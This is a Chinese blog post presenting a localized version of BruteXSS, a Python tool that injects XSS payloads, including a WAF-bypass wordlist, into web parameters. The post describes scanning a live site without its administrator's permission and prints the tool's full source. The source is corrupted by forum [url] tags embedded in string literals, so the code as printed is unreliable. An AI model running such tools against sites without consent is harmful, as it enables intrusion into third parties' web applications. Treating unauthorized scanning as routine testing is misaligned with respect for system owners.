今天给大家进行汉化改进的事一款脚本工具:BruteXSS,这款脚本能自动进行插入XSS,而且可以自定义攻击载荷。
该脚本也同时提供包含了一些绕过各种WAF(Web应用防护系统)的语句。
0×01简介
简单的介绍一下这个工具吧:BruteXSS是一个非常强大和快速的跨站点脚本暴力注入。它用于暴力注入一个参数。该BruteXSS从指定的词库加载多种有效载荷进行注入并且使用指定的载荷和扫描检查这些参数很容易受到XSS漏洞。得益于非常强大的扫描功能。在执行任务时, BruteXSS是非常准确而且极少误报。 BruteXSS支持POST和GET请求,适应现代Web应用程序。
特点:
XSS暴力破解
XSS扫描
支持GET/ POST请求
自定义单词可以包含
人性化的UI
(仅供参考)
0×02修复与更新改进
因为原版中的BruteXss是英文版而且存在着一些小问题,所以我就尝试着进行汉化和改进:
原版英文界面:
汉化改进界面:
修复:
1、修复旧版中扫描错误网址异常退出的问题。
2、修复旧版本错误判断网址存活问题。
3、修复旧版本扫描XSS时卡死问题。
更新改进:
1、更新默认字典(约5800条语句,可以执行一个非常全面的并且绕过WAF的XSS检查)
2、减少替换部分代码,脚本运行更迅速。
0×03安装运行
(汉化改进版)BruteXSS下载:http://files.cnblogs.com/files/Pitcoft/Brutexss.zip
脚本需要以下条件方可正常执行:
Python 2.7 #在运行python 2.7的平台上,Windows , Linux 或者其他设备
python2.7下载地址:https://www.python.org/ftp/python/2.7.13/python-2.7.13.msi
0×04实战测试
检测一款脚本工具的好坏就是要用于实践当中~~所以下面我将会对一个有XSS漏洞的网站进行测试
目标站:https://www.xxxx.cn/search(因为没有事先得到网站管理员的允许,所以这里我没有公布网址)
00x1这个网站存在一个POST XSS 所以我这里提交一下参数,并用火狐插件Live Http headers抓包
00x2可以看到参数是word= 下面用汉化改进的Brutexss进行测试
运行后先会让你选择xss漏洞的类型(POST或GET)
00x2这里我们选择POST类型的,然后输入url以及post参数:
00x3按回车使用默认字典(注意:使用自定义字典需将字典放至运行目录下)
00x4等字典命令加载完,可以发现brutexss已经检测出xss漏洞了
是一个反射型的xss
文字汉化的时候编码很让人烦恼,编译不对出来直接乱码,最后是使用GBK才解决问题的。
最后我附上原英文版脚本的源码(仅供参考):
#!/usr/bin/env python
#!BruteXSS
#!Cross-Site Scripting Bruteforcer
#!Author: Shawar Khan
#!Site: [url=https://shawarkhan.com]https://shawarkhan.com[/url]
from string import whitespace
import httplib
import urllib
import socket
import urlparse
import os
import sys
import time
from colorama import init , Style, Back,Fore
import mechanize
import httplib
init()
banner = """
____ _ __ ______ ____
| __ ) _ __ _ _| |_ ___ \ \/ / ___/ ___|
| _ \| '__| | | | __/ _ \ \ /\___ \___ \
| |_) | | | |_| | || __/ / \ ___) |__) |
|____/|_| \__,_|\__\___| /_/\_\____/____/ BruteXSS - Cross-Site Scripting BruteForcer Author: Shawar Khan - [url=https://shawarkhan.com]https://shawarkhan.com[/url] Sponsored & Supported by Netsparker Web Application Security Scanner ( [url=https://www.netsparker.com]https://www.netsparker.com[/url] )
Note: Using incorrect payloads in the custom
wordlist may give you false positives so its
better to use the wordlist which is already
provided for positive results.
"""
def brutexss():
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
print banner
def again():
inp = raw_input("[?] [E]xit or launch [A]gain? (e/a)").lower()
if inp == 'a':
brutexss()
elif inp == 'e':
exit()
else:
print("[!] Incorrect option selected")
again()
grey = Style.DIM+Fore.WHITE
def wordlistimport(file,lst):
try:
with open(file,'r') as f: #Importing Payloads from specified wordlist.
print(Style.DIM+Fore.WHITE+"[+] Loading Payloads from specified wordlist..."+Style.RESET_ALL)
for line in f:
final = str(line.replace("\n",""))
lst.append(final)
except IOError:
print(Style.BRIGHT+Fore.RED+"[!] Wordlist not found!"+Style.RESET_ALL)
again()
def bg(p,status):
try:
b = ""
l = ""
lostatus = ""
num = []
s = len(max(p, key=len)) #list
if s < 10:
s = 10
for i in range(len(p)): num.append(i)
maxval = str(len(num)) #number
for i in range(s) : b = b + "-"
for i in range(len(maxval)):l = l + "-"
statuslen = len(max(status, key=len))
for i in range(statuslen) : lostatus = lostatus + "-"
if len(b) < 10 :
b = "----------"
if len(lostatus) < 14:
lostatus="--------------"
if len(l) < 2 :
l = "--"
los = statuslen
if los < 14:
los = 14
lenb=len(str(len(b)))
if lenb < 14:
lenb = 10
else:
lenb = 20
upb = ("+-%s-+-%s-+-%s-+")%(l,b,lostatus)
print(upb)
st0 = "Parameters"
st1 = "Status"
print("| Id | "+st0.center(s," ")+" | "+st1.center(los," ")+" |")
print(upb)
for n,i,d in zip(num,p,status):
string = (" %s | %s ")%(str(n),str(i));
lofnum = str(n).center(int(len(l))," ")
lofstr = i.center(s," ")
lofst = d.center(los," ")
if "Not Vulnerable" in lofst:
lofst = Fore.GREEN+d.center(los," ")+Style.RESET_ALL
else:
lofst = Fore.RED+d.center(los," ")+Style.RESET_ALL
print("| "+lofnum+" | "+lofstr+" | "+lofst+" |")
print(upb)
return("")
except(ValueError):
print(Style.BRIGHT+Fore.RED+"[!] Uh oh! No parameters in URL!"+Style.RESET_ALL)
again()
def complete(p,r,c,d):
print("[+] Bruteforce Completed.")
if c == 0:
print("[+] Given parameters are "+Style.BRIGHT+Fore.GREEN+"not vulnerable"+Style.RESET_ALL+" to XSS.")
elif c ==1:
print("[+] %s Parameter is "+Style.BRIGHT+Fore.RED+"vulnerable"+Style.RESET_ALL+" to XSS.")%c
else:
print("[+] %s Parameters are "+Style.BRIGHT+Fore.RED+"vulnerable"+Style.RESET_ALL+" to XSS.")%c
print("[+] Scan Result for %s:")%d
print bg(p,r)
again()
def GET():
try:
try:
grey = Style.DIM+Fore.WHITE
site = raw_input("[?] Enter [url=\n]URL:\n[/url][?] > ") #Taking URL
if 'https://' in site:
pass
elif 'http://' in site:
pass
else:
site = "[url=http://]http://"+site[/url]
finalurl = urlparse.urlparse(site)
urldata = urlparse.parse_qsl(finalurl.query)
domain0 = '{uri.scheme}://{uri.netloc}/'.format(uri=finalurl)
domain = domain0.replace("[url=https://]https://","").replace("http://","").replace("www.","").replace("/[/url]","")
print (Style.DIM+Fore.WHITE+"[+] Checking if "+domain+" is available..."+Style.RESET_ALL)
connection = httplib.HTTPConnection(domain)
connection.connect()
print("[+] "+Fore.GREEN+domain+" is available! Good!"+Style.RESET_ALL)
url = site
paraname = []
paravalue = []
wordlist = raw_input("[?] Enter location of Wordlist (Press Enter to use default wordlist.txt)\n[?] > ")
if len(wordlist) == 0:
wordlist = 'wordlist.txt'
print(grey+"[+] Using Default wordlist..."+Style.RESET_ALL)
else:
pass
payloads = []
wordlistimport(wordlist,payloads)
lop = str(len(payloads))
grey = Style.DIM+Fore.WHITE
print(Style.DIM+Fore.WHITE+"[+] "+lop+" Payloads loaded..."+Style.RESET_ALL)
print("[+] Bruteforce start:")
o = urlparse.urlparse(site)
parameters = urlparse.parse_qs(o.query,keep_blank_values=True)
path = urlparse.urlparse(site).scheme+"://"+urlparse.urlparse(site).netloc+urlparse.urlparse(site).path
for para in parameters: #Arranging parameters and values.
for i in parameters[para]:
paraname.append(para)
paravalue.append(i)
total = 0
c = 0
fpar = []
fresult = []
progress = 0
for pn, pv in zip(paraname,paravalue): #Scanning the parameter.
print(grey+"[+] Testing '"+pn+"' parameter..."+Style.RESET_ALL)
fpar.append(str(pn))
for x in payloads: #
validate = x.translate(None, whitespace)
if validate == "":
progress = progress + 1
else:
sys.stdout.write("\r[+] %i / %s payloads injected..."% (progress,len(payloads)))
sys.stdout.flush()
progress = progress + 1
enc = urllib.quote_plus(x)
data = path+"?"+pn+"="+pv+enc
page = urllib.urlopen(data)
sourcecode = page.read()
if x in sourcecode:
print(Style.BRIGHT+Fore.RED+"\n[!]"+" XSS Vulnerability Found! \n"+Fore.RED+Style.BRIGHT+"[!]"+" Parameter:\t%s\n"+Fore.RED+Style.BRIGHT+"[!]"+" Payload:\t%s"+Style.RESET_ALL)%(pn,x)
fresult.append(" Vulnerable ")
c = 1
total = total+1
progress = progress + 1
break
else:
c = 0
if c == 0:
print(Style.BRIGHT+Fore.GREEN+"\n[+]"+Style.RESET_ALL+Style.DIM+Fore.WHITE+" '%s' parameter not vulnerable."+Style.RESET_ALL)%pn
fresult.append("Not Vulnerable")
progress = progress + 1
pass
progress = 0
complete(fpar,fresult,total,domain)
except(httplib.HTTPResponse, socket.error) as Exit:
print(Style.BRIGHT+Fore.RED+"[!] Site "+domain+" is offline!"+Style.RESET_ALL)
again()
except(KeyboardInterrupt) as Exit:
print("\nExit...")
def POST():
try:
try:
try:
br = mechanize.Browser()
br.addheaders = [('User-agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11)Gecko/20071127 Firefox/2.0.0.11')]
br.set_handle_robots(False)
br.set_handle_refresh(False)
site = raw_input("[?] Enter [url=\n]URL:\n[/url][?] > ") #Taking URL
if 'https://' in site:
pass
elif 'http://' in site:
pass
else:
site = "[url=http://]http://"+site[/url]
finalurl = urlparse.urlparse(site)
urldata = urlparse.parse_qsl(finalurl.query)
domain0 = '{uri.scheme}://{uri.netloc}/'.format(uri=finalurl)
domain = domain0.replace("[url=https://]https://","").replace("http://","").replace("www.","").replace("/[/url]","")
print (Style.DIM+Fore.WHITE+"[+] Checking if "+domain+" is available..."+Style.RESET_ALL)
connection = httplib.HTTPConnection(domain)
connection.connect()
print("[+] "+Fore.GREEN+domain+" is available! Good!"+Style.RESET_ALL)
path = urlparse.urlparse(site).scheme+"://"+urlparse.urlparse(site).netloc+urlparse.urlparse(site).path
url = site
param = str(raw_input("[?] Enter post data: > "))
wordlist = raw_input("[?] Enter location of Wordlist (Press Enter to use default wordlist.txt)\n[?] > ")
if len(wordlist) == 0:
wordlist = 'wordlist.txt'
print("[+] Using Default wordlist...")
else:
pass
payloads = []
wordlistimport(wordlist,payloads)
lop = str(len(payloads))
grey = Style.DIM+Fore.WHITE
print(Style.DIM+Fore.WHITE+"[+] "+lop+" Payloads loaded..."+Style.RESET_ALL)
print("[+] Bruteforce start:")
params = "[url=http://www.site.com/?]http://www.site.com/?"+param[/url]
finalurl = urlparse.urlparse(params)
urldata = urlparse.parse_qsl(finalurl.query)
o = urlparse.urlparse(params)
parameters = urlparse.parse_qs(o.query,keep_blank_values=True)
paraname = []
paravalue = []
for para in parameters: #Arranging parameters and values.
for i in parameters[para]:
paraname.append(para)
paravalue.append(i)
fpar = []
fresult = []
total = 0
progress = 0
pname1 = [] #parameter name
payload1 = []
for pn, pv in zip(paraname,paravalue): #Scanning the parameter.
print(grey+"[+] Testing '"+pn+"' parameter..."+Style.RESET_ALL)
fpar.append(str(pn))
for i in payloads:
validate = i.translate(None, whitespace)
if validate == "":
progress = progress + 1
else:
progress = progress + 1
sys.stdout.write("\r[+] %i / %s payloads injected..."% (progress,len(payloads)))
sys.stdout.flush()
pname1.append(pn)
payload1.append(str(i))
d4rk = 0
for m in range(len(paraname)):
d = paraname[d4rk]
d1 = paravalue[d4rk]
tst= "".join(pname1)
tst1 = "".join(d)
if pn in d:
d4rk = d4rk + 1
else:
d4rk = d4rk +1
pname1.append(str(d))
payload1.append(str(d1))
data = urllib.urlencode(dict(zip(pname1,payload1)))
r = br.open(path, data)
sourcecode = r.read()
pname1 = []
payload1 = []
if i in sourcecode:
print(Style.BRIGHT+Fore.RED+"\n[!]"+" XSS Vulnerability Found! \n"+Fore.RED+Style.BRIGHT+"[!]"+" Parameter:\t%s\n"+Fore.RED+Style.BRIGHT+"[!]"+" Payload:\t%s"+Style.RESET_ALL)%(pn,i)
fresult.append(" Vulnerable ")
c = 1
total = total+1
progress = progress + 1
break
else:
c = 0
if c == 0:
print(Style.BRIGHT+Fore.GREEN+"\n[+]"+Style.RESET_ALL+Style.DIM+Fore.WHITE+" '%s' parameter not vulnerable."+Style.RESET_ALL)%pn
fresult.append("Not Vulnerable")
progress = progress + 1
pass
progress = 0
complete(fpar,fresult,total,domain)
except(httplib.HTTPResponse, socket.error) as Exit:
print(Style.BRIGHT+Fore.RED+"[!] Site "+domain+" is offline!"+Style.RESET_ALL)
again()
except(KeyboardInterrupt) as Exit:
print("\nExit...")
except (mechanize.HTTPError,mechanize.URLError) as e:
print(Style.BRIGHT+Fore.RED+"\n[!] HTTP ERROR! %s %s"+Style.RESET_ALL)%(e.code,e.reason)
try:
methodselect = raw_input("[?] Select method: [G]ET or [P]OST (G/P): ").lower()
if methodselect == 'g':
GET()
elif methodselect == 'p':
POST()
else:
print("[!] Incorrect method selected.")
again()
except(KeyboardInterrupt) as Exit:
print("\nExit...")
brutexss()
由于本人也是第一次汉化脚本,一些专业术语翻译稍有欠妥,所以如果有什么不足之处也请大家能够体谅
如果你也有好的意见和建议,可以通过博客联系我或者直接在下方评论
新年即将到来,在这里也祝大家新年快乐,天天开心!